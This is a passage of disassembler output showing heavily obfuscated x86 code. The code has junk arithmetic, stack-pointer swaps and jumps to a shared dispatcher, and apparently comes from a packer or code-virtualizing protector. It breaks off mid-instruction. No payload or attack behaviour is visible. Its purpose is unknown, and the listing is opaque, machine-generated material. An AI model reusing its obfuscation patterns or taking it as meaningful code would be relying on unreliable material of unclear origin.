FOR sub_591435 ; --------------------------------------------------------------------------- loc_59679C: ; CODE XREF: sdfs____:00591B78j jg loc_59638D shr ecx, 4 inc ecx jns loc_5928DB jmp loc_598DB6 ; --------------------------------------------------------------------------- mov [esp], ebp push esi mov al, 0E9h push edx loc_5967B8: ; CODE XREF: sdfs____:005937CCj push eax mov eax, 393A6FC9h inc eax jmp loc_58C862 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_5967C4: ; CODE XREF: sub_5962EB-10CFj jnz loc_58C173 add ebp, 17822F08h mov edx, ebp pop ebp add ebx, edx mov edx, [esp-8+arg_4] pop ebx loc_5967D9: ; CODE XREF: sub_5941BD-17F3j not ebx neg ebx push edx jmp loc_591FF1 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5967E3: ; CODE XREF: sub_591435-2436j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0Ch+var_C] pop esp push 13FEh mov [esp+0Ch+var_C], eax push esp jmp loc_58C8E0 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_596800: ; CODE XREF: sdfs____:0058D82Cj xchg ebx, [esp] pop esp add eax, 35C55593h add eax, ecx jmp loc_5911BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_596810: ; CODE XREF: sub_59576E-1F2Fj mov eax, edi pop edi sub esp, 4 mov [esp+0], edi mov edi, 2CE566B6h or eax, edi jmp loc_58D00E ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_596831: ; CODE XREF: sdfs____:00595EA4j mov eax, edi jmp loc_58D4CA ; --------------------------------------------------------------------------- mov eax, [esp] push edi mov edi, esp add edi, 4 push ebp mov ebp, 2A1977F2h push ecx jmp loc_590307 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59369D loc_596850: ; CODE XREF: sub_59369D-301Aj inc eax jmp loc_597B6D ; END OF FUNCTION CHUNK FOR sub_59369D ; --------------------------------------------------------------------------- loc_596856: ; CODE XREF: sdfs____:0059079Cj mov [esp], ecx mov ecx, 0FE5438Dh push ebp mov ebp, 1A171A5Eh jmp loc_598BEE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_596869: ; CODE XREF: sub_59214E-3CA8j ; sdfs____:00592873j add esp, 4 mov edx, ecx mov ecx, [esp+0] jmp loc_58C321 ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- loc_596879: ; CODE XREF: sdfs____:0058CC11j push ebp jmp loc_5900B1 ; --------------------------------------------------------------------------- loc_59687F: ; CODE XREF: sdfs____:00597FB9j add al, 0B8h push ecx push edx mov dh, 4Ch not dh not dh add dh, 7Eh mov cl, dh pop edx jmp loc_59286A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_596894: ; CODE XREF: sub_5962EB-3EC6j or edx, 1B2355D6h jmp loc_598626 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_59689F: ; CODE XREF: sub_5987BC-B639j pop eax xor eax, 6D5A7DB9h jmp loc_58C603 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_5968AA: ; CODE XREF: sdfs____:00591708j push edx mov edx, 6F662A05h mov ebp, edx jmp loc_58DF7D ; --------------------------------------------------------------------------- loc_5968B7: ; CODE XREF: sdfs____:005946DFj jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5968BC: ; CODE XREF: sub_591435-383j sub dh, 0C9h jmp loc_594710 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_5968C4: ; CODE XREF: sdfs____:0058CF29j push ebp mov ebp, 0C18B33DAh xor esi, ebp mov ebp, [esp] add esp, 4 sub eax, 6746332Dh add eax, 5366FC6h sub eax, esi sub eax, 5366FC6h add eax, 6746332Dh pop esi pop esi push edi mov edi, 6629641Bh jmp loc_58D1D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596D34 loc_5968F8: ; CODE XREF: sub_596D34-A57Fj pop edi mov ecx, [esp-4+arg_0] add esp, 4 xchg eax, edi jmp sub_58EB48 ; END OF FUNCTION CHUNK FOR sub_596D34 ; --------------------------------------------------------------------------- loc_596905: ; CODE XREF: sdfs____:00596119j push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_590E55 ; --------------------------------------------------------------------------- loc_596917: ; CODE XREF: sdfs____:00592FDDj xchg ch, bl push ecx push 0AF8h mov [esp], edx push edx mov edx, esp jmp loc_58CEB9 ; --------------------------------------------------------------------------- loc_59692A: ; CODE XREF: sdfs____:0058F536j sub esp, 4 mov [esp], ecx push ebx mov bh, 33h dec bh push edx mov dh, 4Dh jmp loc_594415 ; --------------------------------------------------------------------------- loc_59693D: ; CODE XREF: sdfs____:0058D669j shr eax, 8 push ecx mov ecx, 28CE15E4h sub ecx, 69360379h jmp loc_592102 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_596951: ; CODE XREF: sub_591370+6C60j inc eax push ebp mov ebp, 0DDAEB7FBh xor eax, ebp pop ebp sub ebx, eax mov eax, [esp+0] add esp, 4 xor ebx, [esp-4+arg_0] xor [esp-4+arg_0], ebx xor ebx, [esp-4+arg_0] pop esp mov [esp-8+arg_4], esp jmp loc_594D1E ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_596978: ; CODE XREF: sdfs____:0058BB81j xor edx, ecx xor ecx, edx jmp loc_592E8D ; --------------------------------------------------------------------------- loc_596981: ; CODE XREF: sdfs____:00598728j jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_596986: ; CODE XREF: sdfs____:005930FAj sub al, cl pop ecx sub al, 36h push edx push ebx mov bh, 0EBh or bh, 0ECh and bh, 0 shr bh, 6 push 0 sub [esp], bh mov bh, [esp] add esp, 4 jmp loc_590590 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_5969AB: ; CODE XREF: sub_59576E-839Cj sub ebp, 778F7882h add ebp, 6B4752E6h add edi, ebp pop ebp add edi, 4 xchg edi, [esp-4+arg_0] pop esp push edx mov dx, 16CAh add dx, 0F10h sub dx, 521Ah dec dx neg dx jmp loc_58F749 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- loc_5969DD: ; CODE XREF: sdfs____:005922BFj xchg ebp, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 push edi jmp loc_58C00A ; --------------------------------------------------------------------------- loc_5969F1: ; CODE XREF: sdfs____:005924EFj sub esp, 4 mov [esp], ecx pop edi jmp loc_590B02 ; --------------------------------------------------------------------------- loc_596A00: ; CODE XREF: sdfs____:00590A92j ; sdfs____:00597666j shl esi, 3 jns loc_594D03 not esi add esi, 14A398Bh jmp loc_58FBFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_596A16: ; CODE XREF: sub_591435+4177j mov esi, [esp+8+var_8] jmp loc_59153C ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_596A1E: ; CODE XREF: sdfs____:0058D83Dj jg loc_5901BE jmp loc_596320 ; --------------------------------------------------------------------------- add dx, 934Ch jmp loc_597685 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598A21 loc_596A33: ; CODE XREF: sub_598A21-4A9Ej mov eax, esp jmp loc_58F517 ; END OF FUNCTION CHUNK FOR sub_598A21 ; --------------------------------------------------------------------------- loc_596A3A: ; CODE XREF: sdfs____:00595035j push edx push eax mov eax, 77FFF6ECh mov edx, eax jmp loc_58C032 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_596A48: ; CODE XREF: sub_59576E-77F6j mov bp, [esp+0] add esp, 2 push cx jmp loc_5917C8 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_596A59: ; CODE XREF: sdfs____:0058C713j ; sub_5962EB-7831j shl edx, 1 sub esp, 4 mov [esp+0], ecx jmp loc_59167C ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_596A66: ; CODE XREF: sdfs____:00595AFEj mov ebp, 84B4F4Eh neg ebp neg ebp neg ebp add ebp, 4CC7AE87h sub ebx, ebp mov ebp, [esp] add esp, 4 shl ebx, 2 push edi mov edi, 7854514Bh jmp loc_592C09 ; --------------------------------------------------------------------------- loc_596A8D: ; CODE XREF: sdfs____:0058FA22j jle loc_597A00 xor ebx, 3E44105Ah inc ebx jl loc_59124F sub ebx, 34E3FFEAh push ebx pop ebp mov ebx, [esp] add esp, 4 add ecx, ebp pop ebp jmp loc_59838B ; --------------------------------------------------------------------------- loc_596AB6: ; CODE XREF: sdfs____:00598D7Bj jl loc_5948BF inc eax jge loc_5980E6 sub eax, 546F2820h js loc_598254 pop edx loc_596ACF: ; CODE XREF: sdfs____:0058BECAj push ebx mov bl, 0Fh jmp loc_5942C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_596AD7: ; CODE XREF: sub_5917C0-224Bj pop ebp pop eax push 2A44h mov [esp+4+var_4], ebp mov ebp, edi push edi jmp loc_597AD5 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_596AE9: ; CODE XREF: sub_594228-25A6j pop esp push esi sub esp, 4 mov [esp+16h+var_18+2], edx mov edx, 37F34C06h mov esi, edx pop edx add eax, 33DE2C04h add eax, 3A1910EEh add eax, esi sub eax, 3A1910EEh sub eax, 33DE2C04h push [esp+12h+var_14+2] pop esi add esp, 4 push esi sub esp, 4 mov [esp+16h+var_18+2], edx push 3E657256h jmp loc_597747 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_596B2A: ; CODE XREF: sub_59587A-30B2j add ebp, edx pop edx not ebp sub esp, 4 mov [esp-6+arg_0+2], ebp jmp loc_5919BA ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- loc_596B3A: ; CODE XREF: sdfs____:0058E486j push 603E14D1h pop edi jmp loc_591178 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB23 loc_596B45: ; CODE XREF: sub_58EB23+2D70j ; sdfs____:005948CBj mov word ptr [esp-0Eh+arg_4+2], cx mov cl, 60h add bl, cl mov cx, word ptr [esp-0Eh+arg_4+2] push esi jmp loc_596683 ; END OF FUNCTION CHUNK FOR sub_58EB23 ; --------------------------------------------------------------------------- loc_596B57: ; CODE XREF: sdfs____:005953F3j add ebp, 51DB2AECh add ebp, edx jmp loc_59076E ; --------------------------------------------------------------------------- loc_596B64: ; CODE XREF: sdfs____:0058BC35j ; sdfs____:0058D43Aj ... pop esi push ebx jmp loc_59868F ; --------------------------------------------------------------------------- loc_596B6B: ; CODE XREF: sdfs____:00594349j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_58BB1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_596B7C: ; CODE XREF: sub_5962EB-4DE5j sub ebx, 13E52D57h push ebx push edi mov ebx, [esp+4+var_4] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+8+var_8] pop esp pop edi not edi xchg edi, ebx and ebx, 68CC15BEh push 53C0h mov [esp+4+var_4], ebp mov ebp, 5F3276D9h add ebx, ebp mov ebp, [esp+4+var_4] add esp, 4 add ebx, 0A1A3B6E5h sub edx, ebx mov ebx, [esp+0] add esp, 4 jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_596BD3: ; CODE XREF: sub_5917C0-4D5Bj sub ebp, 14CC1D51h jo loc_590663 sub ebp, 2FAED1Ch mov esi, ebp pop ebp xor esi, 11E5881Eh add eax, 88D4A93h sub eax, esi sub esp, 4 mov [esp-8+arg_4], ecx jmp loc_5956DE ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_596C03: ; CODE XREF: sdfs____:00591BA8j sub edi, 686E060Eh pop ebx push eax mov eax, 4 add edi, eax pop eax xchg edi, [esp] pop esp push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_596C2C: ; CODE XREF: sub_5917C0-3FCFj ; sub_59369D-14ECj pop dword ptr [eax] jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_596C33: ; CODE XREF: sub_591435-4B4Cj xor eax, [esp+0Ch+var_C] xor [esp+0Ch+var_C], eax xor eax, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] push esi push ebx push 0B46120Dh mov ebx, [esp+10h+var_10] push esi mov esi, esp add esi, 4 push edi mov edi, 17115203h xor edi, 13B41618h dec edi xor edi, 61A72312h inc edi jmp loc_596E14 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_596C6B: ; CODE XREF: sub_594228-486Aj xor ebx, 678718CAh shr ebx, 1 jmp loc_58D2F5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_596C78: ; CODE XREF: sdfs____:0058CB02j mov edi, [esp] add esp, 4 push esi mov esi, 4 jmp loc_592E57 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE99 loc_596C8C: ; CODE XREF: sub_58FE99-157Aj pop edx add esp, 4 jmp loc_593237 ; END OF FUNCTION CHUNK FOR sub_58FE99 ; --------------------------------------------------------------------------- loc_596C98: ; CODE XREF: sdfs____:005948C0j sub eax, 546F2820h js loc_58C6B5 jmp loc_591317 ; --------------------------------------------------------------------------- mov ebp, 48517C5Dh push esi loc_596CAE: ; CODE XREF: sdfs____:00593590j push 7122h mov [esp], ebx mov ebx, 3D04208Ch shr ebx, 5 add ebx, 0FE17DF00h add ecx, ebx pop ebx add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_59751D ; --------------------------------------------------------------------------- loc_596CD5: ; CODE XREF: sdfs____:005977D3j inc ebx sub ebx, 0F742A18h shl ebx, 4 jmp loc_58C786 ; --------------------------------------------------------------------------- loc_596CE4: ; CODE XREF: sdfs____:005966FCj add eax, ebx pop ebx xor eax, [esp] xor [esp], eax jmp loc_58FD92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_596CF2: ; CODE XREF: sub_5917C0+3F73j push esp mov edx, [esp+8+var_8] push esi jmp loc_58EA2A ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_596CFC: ; CODE XREF: sdfs____:0058EF70j sub al, bl sub al, 93h push ebx mov bh, 95h not bh xor bh, 40h shr bh, 8 jmp loc_594C42 ; --------------------------------------------------------------------------- loc_596D10: ; CODE XREF: sdfs____:00593422j mov eax, [esp] jmp loc_58CF9D ; --------------------------------------------------------------------------- loc_596D18: ; CODE XREF: sdfs____:0058DB17j mov [esp], edi push esp mov edi, [esp] add esp, 4 push ebx mov ebx, 34175358h push ecx push 74C4468Fh pop ecx jmp loc_590C44 ; =============== S U B R O U T I N E ======================================= sub_596D34 proc near ; CODE XREF: sub_58E01A-145Dj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058C7B2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005968F8 SIZE 0000000D BYTES sub esp, 4 jmp loc_58C7B2 sub_596D34 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_596D3C: ; CODE XREF: sub_5917C0:loc_596637j sub ebp, 14CC1D51h jo loc_597105 sub ebp, 2FAED1Ch jmp loc_5944B6 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_596D53: ; CODE XREF: sdfs____:00598BE9j shl edx, 1 jp loc_5961A5 xor edx, 46A062A5h jmp loc_58F6D3 ; --------------------------------------------------------------------------- loc_596D66: ; CODE XREF: sdfs____:005918F1j pop dword ptr [edi+40h] add dword ptr [edi+40h], 1A4214D5h jmp loc_58E32B ; --------------------------------------------------------------------------- loc_596D75: ; CODE XREF: sdfs____:0058E119j mov edx, 47300D0h xor edx, eax jmp loc_5953CC ; --------------------------------------------------------------------------- loc_596D81: ; CODE XREF: sdfs____:0058FB06j add esp, 4 jmp loc_58D321 ; --------------------------------------------------------------------------- loc_596D89: ; CODE XREF: sdfs____:00597027j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp jmp loc_58FE6D ; --------------------------------------------------------------------------- loc_596D9B: ; CODE XREF: sdfs____:00596252j pop esi add esi, 373B1272h add esi, 3E039F8h and esi, 5F1B2CCDh jmp loc_5940ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB23 loc_596DB3: ; CODE XREF: sub_58EB23-2A8Dj push ecx jmp loc_595E2A ; END OF FUNCTION CHUNK FOR sub_58EB23 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_596DB9: ; CODE XREF: sub_594228+ACBj add esp, 4 or eax, eax jz sub_5985AE push dword ptr [edi+28h] sub esp, 4 mov [esp+1Eh+var_20+2], ecx push esi mov esi, 48B25C11h and esi, 4C611520h jb loc_58CD63 sub esi, 5A3C1172h jb loc_5982C4 shl esi, 7 js loc_59104F jge loc_58C367 loc_596DFA: ; CODE XREF: sdfs____:0059168Aj mov cx, word ptr [esp+22h+var_24+2] push 473Eh mov [esp+26h+var_28+2], ebx push 658Fh mov [esp+0], esp push ebx jmp loc_598C7D ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_596E14: ; CODE XREF: sub_591435+5831j xor edi, 6502670Dh add esi, edi pop edi xchg esi, [esp+14h+var_14] pop esp or ebx, 40A3B0Bh jnb loc_58F663 jmp loc_593F52 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- pop esp xor esi, 2A3D4D2Ch and eax, esi loc_596E3B: ; CODE XREF: sdfs____:005936E2j dec dword ptr [esp] pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_596E44: ; CODE XREF: sub_5917C0-2714j push edi jmp loc_590E32 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_596E4A: ; CODE XREF: sub_591435-30B0j add esp, 4 push ecx push edi mov edi, 66D23E3Eh xor [esp+18h+var_14], edi pop edi pop ebx xor ebx, 66D23E3Eh pop ecx and ecx, ebx jmp loc_594593 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_596E6B: ; CODE XREF: sdfs____:0058D5CCj mov ebx, [esp] add esp, 4 sub ebp, 52F078EAh add ebp, edx add ebp, 52F078EAh mov edx, [esp] push 3D7Ch jmp loc_58DB51 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_58FEF0 ; --------------------------------------------------------------------------- loc_596E9B: ; CODE XREF: sdfs____:0058E5E6j mov ecx, edi pop edi shr ecx, 4 shr ecx, 5 xor ecx, 35C59AB2h add eax, ecx jmp loc_591F82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_596EB1: ; CODE XREF: sub_591370+22j shr edi, 7 push ebp mov ebp, 2A04B9Eh add ebp, 3EEF41BBh inc ebp or ebp, 0DBD3B2Bh inc ebp push edx mov edx, 3FB06909h and ebp, edx pop edx add ebp, 0E79FDA8Eh sub edi, ebp pop ebp mov ebx, edi pop edi jmp loc_58FB8C ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_596EE2: ; CODE XREF: sub_5985AE-6B84j pop esi mov eax, [esp+0] add esp, 4 push ebx push eax mov eax, 60EE7827h mov ebx, eax pop eax sub eax, 70DA14E8h add eax, 2E213A67h push ecx mov ecx, 744C208Ah not ecx neg ecx shl ecx, 2 inc ecx xor ecx, 0EA1485E1h jmp loc_58F8E4 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_596F16: ; CODE XREF: sdfs____:00598007j push dx xchg dh, [esp] neg dh xchg dh, [esp] pop dx xor dl, 22h jmp loc_58BF78 ; --------------------------------------------------------------------------- loc_596F2A: ; CODE XREF: sdfs____:005973A2j pop edx jmp loc_58DD70 ; --------------------------------------------------------------------------- loc_596F30: ; CODE XREF: sdfs____:0058CD01j mov esi, 266F2462h xor esi, 21550141h jmp loc_591B3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_596F40: ; CODE XREF: sub_591370-37E8j ; sub_591370+2EE6j not [esp-0Ch+arg_8] pop edx xchg ecx, edx not ecx xchg ecx, edx push ebp mov ebp, 5948467Fh and ebp, 80161DAh dec ebp and ebp, 31D93986h sub ebp, 0DE25EABAh sub edx, ebp jmp loc_58D831 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_596F6A: ; CODE XREF: sub_5917C0-24F5j push 3FE6h jmp loc_5932E2 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_596F74: ; CODE XREF: sdfs____:00593958j mov [esp], ebp push esp pop ebp push esi push 4 jmp loc_593C7E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59377D loc_596F84: ; CODE XREF: sub_59377D-5E7Ej push ecx jmp loc_596644 ; END OF FUNCTION CHUNK FOR sub_59377D ; =============== S U B R O U T I N E ======================================= sub_596F8A proc near ; CODE XREF: sub_594F18-6A06j ; sub_594228+2456j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0058CB1F SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0058CC3A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058E0F0 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058F7DF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005904F8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00590716 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005954B4 SIZE 0000002A BYTES push ebp sub esp, 4 jmp loc_5954B4 sub_596F8A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_596F96: ; CODE XREF: sub_5917C0-1C78j pop [esp-0Ch+arg_8] mov esp, [esp-10h+arg_C] add [esp-10h+arg_C], eax pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- mov ax, [esp] push 71C8h mov [esp], esi jmp loc_5978C2 ; --------------------------------------------------------------------------- loc_596FB6: ; CODE XREF: sdfs____:00593C9Aj sub esp, 4 mov [esp], esi jmp loc_595D3E ; --------------------------------------------------------------------------- loc_596FC4: ; CODE XREF: sdfs____:00596476j sub edx, eax pop eax add edx, eax add edx, 3571478h pop eax add edx, 2 jmp loc_58EF51 ; --------------------------------------------------------------------------- loc_596FDB: ; CODE XREF: sdfs____:0058D0E5j add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_5936D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592853 loc_596FF6: ; CODE XREF: sub_592853+527Dj add ebx, ebp push esi mov esi, 28207C5Fh add ebx, esi pop esi jmp loc_592411 ; END OF FUNCTION CHUNK FOR sub_592853 ; --------------------------------------------------------------------------- push esp mov edx, [esp] push 4C64h mov [esp], ecx mov ecx, esp push ebp mov ebp, 4 add ecx, ebp pop ebp push esi push ebx mov ebx, esp add ebx, 4 jmp loc_596D89 ; --------------------------------------------------------------------------- loc_59702C: ; CODE XREF: sdfs____:00592268j mov [esp], eax mov eax, 0F624FACCh sub edi, eax jmp loc_58BFEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_59703B: ; CODE XREF: sdfs____:0058D91Aj ; sub_5917C0+6DB5j xor edi, 7B43FE2h push edi mov edi, 50C3402Ah add ebx, edi pop edi sub ebx, 271111EDh add ebx, edi add ebx, 271111EDh sub ebx, 50C3402Ah mov edi, [esp-0Ch+arg_8] add esp, 4 add ebx, eax push 2953h jmp loc_58D744 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_597070: ; CODE XREF: sdfs____:00597E59j mov eax, 4 add esi, 32C335BDh add esi, eax sub esi, 32C335BDh jmp loc_58FB2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_597088: ; CODE XREF: sdfs____:0058C5FEj ; sub_5917C0+36E6j jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_59708D: ; CODE XREF: sdfs____:00597A44j push edi mov edi, 5D4011FCh mov eax, edi mov edi, [esp] add esp, 4 inc eax jmp loc_5941A7 ; --------------------------------------------------------------------------- lodsd push 1362h mov [esp], esi mov esi, 603E14D1h sub eax, 7C370BF0h jmp loc_595BFA ; --------------------------------------------------------------------------- loc_5970B9: ; CODE XREF: sdfs____:0058ED0Fj pop ecx push 2393h mov [esp], edx sub esp, 4 mov [esp], eax push edx mov dl, 59h push ecx mov ch, dl mov al, ch pop ecx pop edx mov dh, 37h sub dh, al jmp loc_590AF4 ; =============== S U B R O U T I N E ======================================= sub_5970DE proc near ; CODE XREF: sub_591397+39CDj var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edx jmp loc_590CA1 sub_5970DE endp ; --------------------------------------------------------------------------- loc_5970EC: ; CODE XREF: sdfs____:00597C0Dj mov edx, 522110A1h shr edx, 7 neg edx shr edx, 5 dec edx push esi mov esi, 7FADDE9h jmp loc_593004 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_597105: ; CODE XREF: sdfs____:loc_5944B1j ; sub_5917C0+5582j sub esi, 22BC35F4h jo loc_58DD8E or esi, 47D80BDBh jmp loc_59621F ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_59711C: ; CODE XREF: sub_5941BD-7FA9j sub esi, 0D7E93F75h mov ebp, esi jmp loc_596078 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- loc_597129: ; CODE XREF: sdfs____:0058F1B0j sub eax, 48D51614h push ebp push esi mov esi, 0D410B01h mov ebp, 0FE54A83Ah add ebp, esi jmp loc_5947C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_597141: ; CODE XREF: sub_591370+5217j push edx jmp loc_5914B2 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] jmp loc_5932C6 ; --------------------------------------------------------------------------- loc_597152: ; CODE XREF: sdfs____:0059309Cj mov ecx, [esp] push 650Ch mov [esp], esi jmp loc_594EF4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_597162: ; CODE XREF: sub_594228+4A14j mov ebp, esi pop esi xchg edx, ebp not edx xchg edx, ebp add ebp, 12951684h sub ebp, 0EB959B60h sub esi, 3CA0E03h add esi, ebp push ecx mov ecx, 3CA0E03h sub esi, 4DB00980h add esi, ecx add esi, 4DB00980h pop ecx pop ebp jmp loc_58FDC3 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_59719A: ; CODE XREF: sub_5985AE-5B1Aj mov [esp-4+arg_0], ecx jmp loc_593E03 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_5971A2: ; CODE XREF: sdfs____:0058D799j add bh, 79h sub cl, bh jmp loc_58D50F ; --------------------------------------------------------------------------- loc_5971AC: ; CODE XREF: sdfs____:00595CF8j mov eax, 4B7B510Eh jmp loc_595738 ; --------------------------------------------------------------------------- loc_5971B6: ; CODE XREF: sdfs____:0058D069j pop edi pop dword ptr [esp] pop esp push dword ptr [esp] mov edx, [esp] add esp, 4 push 32EEh jmp loc_591A85 ; --------------------------------------------------------------------------- loc_5971CE: ; CODE XREF: sdfs____:0058FA43j push 41A9h mov [esp], esi jmp loc_591846 ; --------------------------------------------------------------------------- loc_5971DB: ; CODE XREF: sdfs____:0058F9D4j pop ecx add dword ptr [esp+4], 583226BBh add [esp+4], eax sub dword ptr [esp+4], 583226BBh sub dword ptr [esp+4], 23AE11C6h pop eax add dword ptr [esp], 10D36867h sub dword ptr [esp], 39B37415h add [esp], eax add 